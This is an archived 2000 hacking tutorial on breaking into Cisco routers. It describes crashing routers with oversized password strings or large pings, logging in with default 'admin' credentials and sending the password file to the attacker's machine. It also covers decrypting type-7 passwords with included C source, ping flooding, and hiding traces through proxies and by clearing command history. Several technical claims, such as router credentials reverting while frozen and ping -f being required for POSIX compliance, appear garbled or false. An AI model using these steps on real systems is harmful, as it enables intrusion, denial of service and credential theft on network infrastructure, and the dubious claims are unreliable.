home *** CD-ROM | disk | FTP | other *** search
/ Hacker's Arsenal - The Cutting Edge of Hacking / Hacker's Arsenal - The Cutting Edge of Hacking.iso / texts / misc / cisco.txt < prev    next >
Encoding:
Text File  |  2001-07-11  |  20.0 KB  |  492 lines
  1. ----------------------------------
  2.  
  3. Exploiting Cisco Systems
  4. (Even From Windows!   ;-) )
  5.  
  6. Written by Cyvamp
  7. (with a few notes added by Raven)
  8. July 2000
  9.  
  10. http://blacksun.box.sk
  11.  
  12. ----------------------------------
  13.  
  14. Warning:
  15. DO NOT use this to damage cisco systems, or gain unauthorized access to systems. This tutorial is just something to
  16. use for educational purposes. Only use this information in a legal way (the hacker wargames for instance), and do
  17. not damage or destroy anything. This is a step-by-step guide on how a series of proven cisco exploits can be used to
  18. gain access. If you get caught breaking into a cisco router, or screw the system up, you can interrupt hundreds of
  19. internet clients, and cost thousands of dollars, so only use this when you are allowed!! Using this the wrong way
  20. will get you into a lot of trouble.
  21.  
  22. Note: some of this tutorial was written on a Unix system, and the text was not converted to be DOS /
  23. Windows-compatible, so you'll have to view this text from either your Internet browser, or from an advanced editor
  24. such as Microsoft Word.
  25.  
  26. ----------------------------------
  27. Table of Contents:
  28. ----------------------------------
  29. Before you start:
  30.  
  31. - What is an IP address?
  32.  
  33. - What is an ISP?
  34.  
  35. - What is a TCP/IP packet?
  36.  
  37. - How to spoof your IP
  38.  
  39. - How to use Telnet
  40.  
  41. - How to use HyperTerminal
  42.  
  43. - How to use Ping
  44.  
  45. - How to use TraceRoute
  46.  
  47. - How to use a proxy server
  48.  
  49. -------------------------------------
  50.  
  51. - Section 1: why hack a cisco router?
  52.  
  53. - Section 2: how to find a cisco router
  54.  
  55. - Section 3: how to break into a cisco
  56.  
  57. - Section 4: how to break the password
  58.  
  59. - Section 5: how to use a cisco router
  60.  
  61. -----------------------------------
  62.  
  63. Stuff you'll need to know BEFORE you start:
  64.  
  65. -----------------------------------
  66.  
  67. What is an IP address?
  68.  
  69. IP stands for Internet Protocol, IP addresses are used by other computers to identify computers that connect to
  70. them. This is how you can be banned from IRC, and how they can find your ISP. IP addresses are easily obtained, they
  71. can be retrieved through the following methods:
  72.  
  73. -you go to a website, your IP is logged
  74.  
  75. -on IRC, anyone can get your IP
  76.  
  77. -on ICQ, people can get your IP, even if you have the option set "do not show ip"
  78.  they can still get it
  79.  
  80. -if you are connected to someone, they can type "systat", and see who is connected  to them
  81.  
  82. -if someone sends you an email with IP-logging java, they can also get your IP  address
  83.  
  84. There are many more ways of obtaining IP addresses, including using back-door programs such as Sub7 or NetBus.
  85.  
  86. ------------------------------------
  87.  
  88. What is an ISP?
  89.  
  90. ISP stands for Internet Service Provider, they are the ones that give you the internet. You connect to one everytime
  91. you dial-up and make a connection. People can find your ISP simply by running a traceroute on you (traceroute is
  92. later explained). It will look something like this:
  93.  
  94. tracert 222.222.22.22
  95.  
  96. Tracing route to [221.223.24.54]
  97. over a maximum of 30 hops.
  98. 1       147ms   122ms   132ms your.isp [222.222.22.21]
  99. 2       122ms   143ms   123ms isp.firewall [222.222.22.20]
  100. 3       156ms   142MS   122ms aol.com [207.22.44.33]
  101. 4       *       *       *       Request timed out
  102. 5       101ms   102ms   133ms cisco.router [194.33.44.33]
  103. 6       233ms   143ms   102ms something.ip [111.11.11.11]
  104. 7       222ms   123ms   213ms netcom.com [122.11.21.21]
  105. 8       152ms   211ms   212ms blahblah.tts.net [121.21.21.33]
  106. 9       122ms   223ms   243ms altavista.34.com [121.22.32.43] <<< target's isp
  107. 10      101ms   122ms   132ms 221.223.24.54.altavista.34.com [221.223.24.54] 
  108. Trace complete.
  109.  
  110. -----------------------------------
  111.  
  112. What is a TCP/IP packet?
  113.  
  114. TCP/IP stands for Transmission Control Protocol and Internet Protocol, a TCP/IP packet is a block of data which is
  115. compressed, then a header is put on it and it is sent to another computer. This is how ALL internet transfers occur,
  116. by sending packets. The header in a packet contains the IP address of the one who originally sent the packet. You
  117. can re-write a packet and make it seem like it came from anyone!! You can use this to gain access to lots of systems
  118. and you will not get caught. You will need to be running Linux or have a program which will let you do this. This
  119. tutorial does not tell you to use this on a Cisco router, but it does come in handy when hacking any system. If
  120. something goes wrong when you try to hack a system, you can always try this...
  121.  
  122. ------------------------------------
  123.  
  124. How to spoof your IP:
  125.  
  126. Find a program like Genius 2 or DC IS, which will let you run IdentD. This will let you change part of your
  127. computer's identity at will! Use this when you get banned from some IRC chat room.... you can get right back in! You
  128. can also use it when you are accessing another system, so it logs the wrong id...
  129.  
  130. ------------------------------------
  131.  
  132. How to use telnet:
  133.  
  134. You can open telnet simply by going to your Start Menu, then to Run, and typing in "telnet". 
  135.  
  136. Once you have opened telnet, you may want to change some features. Click on Terminal>Preferences. Here you can
  137. change the buffer size, font, and other things. You can also turn on/off "local echo", if you turn local echo on,
  138. your computer will show you everything you type, and the other computer you are connected to will show you aswell.
  139. So you may get something like this;
  140.  
  141. You type "hello", and you get
  142. hhelelollo
  143.  
  144. This is because the information has bounced back and got scrambled with what you typed. The only reason I would use
  145. this is if the machine does NOT return what you are typing.
  146.  
  147. By default, telnet will connect to a system on the telnet port, which is port 23. Now you will not always want to
  148. connect to port 23, so when you go to connect, you can change the port to maybe 25, which is the port for mail
  149. servers. Or maybe port 21, for FTP. There are thousands of ports, so make sure you pick the right one!
  150.  
  151. ----------------------------------
  152.  
  153. How to use HyperTerminal:
  154.  
  155. HyperTerminal allows you to open a "server" on any port of your computer to listen for incoming information from
  156. specified computers. To use this, go to 
  157. Start>Programs>Accessories>Communications>HyperTerminal. First you will need to select the connection, pick "TCP/IP
  158. Winsock", and then put in the computer to communicate with, and the port #. You can tell it to listen for input by
  159. going to Call>Wait for Call. Now the other computer can connect to you on that port, and you can chat and transfer
  160. files.
  161.  
  162. ----------------------------------
  163.  
  164. How to use Ping:
  165.  
  166. Ping is easy, just open the MS-DOS prompt, and type "ping ip.address", by default it will ping 3 times, but you can
  167. type 
  168.  
  169. "ping ip.address -t"
  170.  
  171. Which will make it ping forever. To change the ping size do this:
  172.  
  173. "ping -l (size) ip.address"
  174.  
  175. What ping does is send a packet of data to a computer, then sees how long it takes to be returned, which determines
  176. the computer's connection speed, and the time that it takes for a packet to go back and forth (this is called the
  177. "trip time"). Ping can also be used to slow down or even crash a system if the system is overloaded by ping floods.
  178. Windows 98 crashes after one minute of pingflooding (it's connections buffer is overflown - too many connections are
  179. registered, and so Windows decides to take a little vacation).
  180. A ping flood attack takes a lot of bandwidth from you, and you must have more bandwidth than your target (unless
  181. the target is a Windows 98 box and you have an average modem, that way you'll knock it down after approximately a
  182. single minute of ping flooding). Ping flooding isn't effective against stronger targets, unless you have quite a few
  183. evil lines to yourself, and you have control over a few bandwidth-saavy hosts that can ping flood your target as
  184. well.
  185. Note: DOS's -t option doesn't do a ping flood, it just pings the target continously, with intervals from one ping to
  186. another. In every Unix or Linux distribution, you can use ping -f to do a real pingflood. Actually ping -f is
  187. required if you want your distribution to be POSIX-compliant (POSIX - Portable Operating System Interface based on
  188. uniX), otherwise it's not a real Unix/Linux distribution, so if you have an OS that calls itself either Unix or
  189. Linux, it has the -f switch.
  190.  
  191. ----------------------------------
  192.  
  193. How to use TraceRoute:
  194.  
  195. To trace your connection (and see all the computer's between you and a target), just open the MS-DOS prompt, and
  196. type "tracert ip.address" and you will see a list of computers, which are between you and the target computer. 
  197.  
  198. You can use this to determine if there are firewalls blocking anything. And will also allow you to determine
  199. someone's ISP (internet service provider). 
  200.  
  201. To determine the ISP, simple look at the IP address before the last one, this should be one of the ISP's routers.
  202.  
  203. Basically, this is how traceroute works - a TCP/IP packet has a value in it's header (it's in the IP header. If you
  204. don't know what this means, then ignore it and continue reading, it's not that crucial) called TTL, which stands
  205. for Time To Live. Whenever a packet hops (travels through a router) it's TTL value is decreased by one. This is just
  206. a countermeasure against the possibility that something would go wrong and a packet would ricochet all around the
  207. net, thus wasting bandwidth.
  208. So when a packet's TTL reaches zero, it dies and an ICMP error is sent back to the sender.
  209. Now, traceroute first sends a packet with a TTL value of 1. The packet quickly returns, and by looking at the
  210. sender's address in the ICMP error's header, the traceroute knows where the packet has been in it's first hop. Then
  211. it sends a packet with a TTL value of 2, and it returns after the second hop, revealing it's identity. This goes on
  212. until the packet reaches it's destination.
  213.  
  214. Now isn't that fun?    :-)
  215.  
  216. ----------------------------------
  217.  
  218. How to use a proxy server: 
  219.  
  220. Do a search on the web for a proxy server which runs on the port of your choice. Once you find one, connect to it
  221. with either telnet or hyperterminal and then connect to another computer through the proxy server. This way the
  222. computer at the other end will not know your IP address.
  223.  
  224. ----------------------------------
  225.  
  226. Section 1: why hack a cisco router?
  227.  
  228. You probably are wondering.. why hack into a cisco router? 
  229.  
  230. The reason being is that they are useful when it comes to breaking into other systems...
  231.  
  232. Cisco routers are very fast, some with 18 T1 connections on one system, and they are very flexible and can be used
  233. in DoS attacks or to hack other systems since most of them run telnet. 
  234.  
  235. They also have thousands of packets going through them at any one time, which can be captured and decoded... A lot
  236. of cisco routers are also trusted systems, and will let you have a certain amount of access to other computers on
  237. it's network.
  238.  
  239. ----------------------------------
  240.  
  241. Section 2: finding a cisco router
  242.  
  243. Finding a cisco router is a fairly easy task, almost every ISP will route through at least one cisco router. The
  244. easiest way to find a cisco router is to run a traceroute from dos (type "tracert" and then the IP address of
  245. anyone's computer), you can trace pretty much anyone because the trace will show all of the computer systems between
  246. your computer and their computer. One of these systems will probably have the name "cisco" in it's name. If you find
  247. one like this, copy down it's IP address. 
  248.  
  249. Now you have the location of a cisco router, but it may have a firewall protecting it, so you should see if it's
  250. being blocked by pinging it a couple times, if you get the ping returned to you, it might not be blocked. Another
  251. way is to try to access some of the cisco router's ports, you can do this simply by using telnet, and opening a
  252. connection to the router on port 23.. If it asks for a password, but no username, you are at the router, but if it
  253. wants a username aswell, you are probably at a firewall. 
  254.  
  255. Try to find a router without a firewall, since this tutorial is on the routers and not how to get past the
  256. firewalls. Once you're sure you have found a good system, you should find a proxy server which will allow you to use
  257. port 23, this way your IP will not be logged by the router.
  258.  
  259. ---------------------------------
  260.  
  261. Section 3: how to break into a cisco router
  262.  
  263. Cisco routers running v4.1 software (which currently is most of them) will be easily disabled. You simply connect to
  264. the router on port 23 through your proxy server, and enter a HUGE password string, something like;
  265.  
  266. 10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019dsk
  267.  
  268. Now wait, the cisco system might reboot, in which case you can't hack it because it is offline.. But it will
  269. probably freeze up for a period of 2-10 minutes, which you must use to get in. 
  270.  
  271. If neither happens, then it is not running the vulnerable software, in which case you can try several DoS attacks,
  272. like a huge ping. Go to dos and type "ping -l 56550 cisco.router.ip -t", this will do the same trick for you. 
  273.  
  274. While it is frozen, open up another connection to it from some other proxy, and put the password as "admin", the
  275. reason for this is because by default, this is the router's password, and while it is temporarily disabled, it will
  276. revert to it's default state. 
  277.  
  278. Now that you have logged in, you must acquire the password file! The systems run different software, but most will
  279. have a prompt like "htl-textil" or something, now type "?" for a list of commands, you will see a huge list of
  280. commands, somewhere in there you will find a transfer command, use that to get the password file of admin (which is
  281. the current user) and send it to your own IP address on port 23. But before you do this, set up HyperTerminal to
  282. wait for a call from the cisco router. Now once you send the file, HyperTerminal will ask you if you want to accept
  283. the file that this machine is sending you, say yes and save it to disk. Logout. 
  284.  
  285. You are now past the hardest part, give yourself a pat on the back and get ready to break that password!
  286.  
  287. ------------------------------
  288.  
  289. Section 4: breaking the password
  290.  
  291. Now that you have acquired the password file, you have to break it so you can access the router again. To do this,
  292. you can run a program like John the Ripper or something on the password file, and you may break it. 
  293.  
  294. This is the easiest way, and the way i would recommend. Another way would be to try and decrypt it. For this you
  295. will need some decryption software, a lot a patience, and some of the decryption sequences. 
  296.  
  297. Here is a sequence for decrypting a cisco password, you have to compile this in linux:
  298.  
  299. #include <stdio.h>
  300. #include <ctype.h>
  301.  
  302. char xlat[] = {
  303.         0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
  304.         0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
  305.         0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
  306. };
  307.  
  308. char pw_str1[] = "password 7 ";
  309. char pw_str2[] = "enable-password 7 ";
  310.  
  311. char *pname;
  312.  
  313. cdecrypt(enc_pw, dec_pw)
  314. char *enc_pw;
  315. char *dec_pw;
  316. {
  317.         unsigned int seed, i, val = 0;
  318.  
  319.         if(strlen(enc_pw) & 1)
  320.                 return(-1);
  321.  
  322.         seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';
  323.  
  324.         if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
  325.                 return(-1);
  326.  
  327.         for (i = 2 ; i <= strlen(enc_pw); i++) {
  328.                 if(i !=2 && !(i & 1)) {
  329.                         dec_pw[i / 2 - 2] = val ^ xlat[seed++];
  330.                         val = 0;
  331.                 }
  332.  
  333.                 val *= 16;
  334.  
  335.                 if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
  336.                         val += enc_pw[i] - '0';
  337.                         continue;
  338.                 }
  339.  
  340.                 if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
  341.                         val += enc_pw[i] - 'A' + 10;
  342.                         continue;
  343.                 }
  344.  
  345.                 if(strlen(enc_pw) != i)
  346.                         return(-1);
  347.         }
  348.  
  349.         dec_pw[++i / 2] = 0;
  350.  
  351.         return(0);
  352. }
  353.  
  354. usage()
  355. {
  356.         fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
  357.         fprintf(stdout, "       %s <router config file> <output file>\n", pname);
  358.  
  359.         return(0);
  360. }
  361.  
  362. main(argc,argv)
  363. int argc;
  364. char **argv;
  365.  
  366. {
  367.         FILE *in = stdin, *out = stdout;
  368.         char line[257];
  369.         char passwd[65];
  370.         unsigned int i, pw_pos;
  371.  
  372.         pname = argv[0];
  373.  
  374.         if(argc > 1)
  375.         {
  376.                 if(argc > 3) {
  377.                         usage();
  378.                         exit(1);
  379.                 }
  380.  
  381.                 if(argv[1][0] == '-')
  382.                 {
  383.                         switch(argv[1][1]) {
  384.                                 case 'h':
  385.                                 usage();
  386.                                 break;
  387.  
  388.                                 case 'p':
  389.                                 if(cdecrypt(argv[2], passwd)) {
  390.                                         fprintf(stderr, "Error.\n");
  391.                                         exit(1);
  392.                                 }
  393.                                 fprintf(stdout, "password: %s\n", passwd);
  394.                                 break;
  395.  
  396.                                 default:
  397.                                 fprintf(stderr, "%s: unknow option.", pname);
  398.                         }
  399.  
  400.                         return(0);
  401.                 }
  402.  
  403.                 if((in = fopen(argv[1], "rt")) == NULL)
  404.                         exit(1);
  405.                 if(argc > 2)
  406.                         if((out = fopen(argv[2], "wt")) == NULL)
  407.                                 exit(1);
  408.         }
  409.  
  410.         while(1) {
  411.                 for(i = 0; i < 256; i++) {
  412.                         if((line[i] = fgetc(in)) == EOF) {
  413.                                 if(i)
  414.                                         break;
  415.  
  416.                                 fclose(in);
  417.                                 fclose(out);
  418.                                 return(0);
  419.                         }
  420.                         if(line[i] == '\r')
  421.                                 i--;
  422.  
  423.                         if(line[i] == '\n')
  424.                                 break;
  425.                 }
  426.                 pw_pos = 0;
  427.                 line[i] = 0;
  428.  
  429.                 if(!strncmp(line, pw_str1, strlen(pw_str1)))
  430.                         pw_pos = strlen(pw_str1);
  431.  
  432.                 if(!strncmp(line, pw_str2, strlen(pw_str2)))
  433.                         pw_pos = strlen(pw_str2);
  434.  
  435.                 if(!pw_pos) {
  436.                         fprintf(stdout, "%s\n", line);
  437.                         continue;
  438.                 }
  439.  
  440.                 if(cdecrypt(&line[pw_pos], passwd)) {
  441.                         fprintf(stderr, "Error.\n");
  442.                         exit(1);
  443.                 }
  444.                 else {
  445.                         if(pw_pos == strlen(pw_str1))
  446.                                 fprintf(out, "%s", pw_str1);
  447.                         else
  448.                                 fprintf(out, "%s", pw_str2);
  449.  
  450.                         fprintf(out, "%s\n", passwd);
  451.                 }
  452.         }
  453. }
  454.  
  455. If you do not have Linux, then the only way to break the password is to run a dictionary or brute-force attack on
  456. the file with John the Ripper or another password-cracker.
  457.  
  458. -------------------------------
  459.  
  460. Section 5: using the router
  461.  
  462. To use this wonderful piece of technology, you will have to be able to connect to it, use a proxy if you do not want
  463. your IP logged. Once you have logged in, you'll want to disable the history so no one can look at what you were
  464. doing, type in "terminal history size 0". Now it won't remember anything! Type "?" for a list of all of the router's
  465. commands, and you will be able to use most of them. 
  466.  
  467. These routers usually have telnet, so you can use telnet to connect to other systems, (like unix boxes) and hack
  468. into them. It also is equipped with ping and traceroute, which you can use to trace systems or do DoS attacks. You
  469. may also be able to use it to intercept packets, but i do not recommend this, as it will not always work, and may
  470. get you noticed....
  471.  
  472. ---------------------------------
  473.  
  474. If you don't hack a cisco your first time, don't worry... you probably won't do it the first time, or even the
  475. second. It takes practice and patience. This is just to show you how... And make sure you are going after something
  476. that is LEGAL. 
  477.  
  478.  
  479.  
  480.  
  481.  
  482.  
  483.  
  484.  
  485.  
  486.  
  487. -- 
  488. Get your free email from http://www.hackermail.com
  489.  
  490. Powered by OutBlaze
  491.  
  492.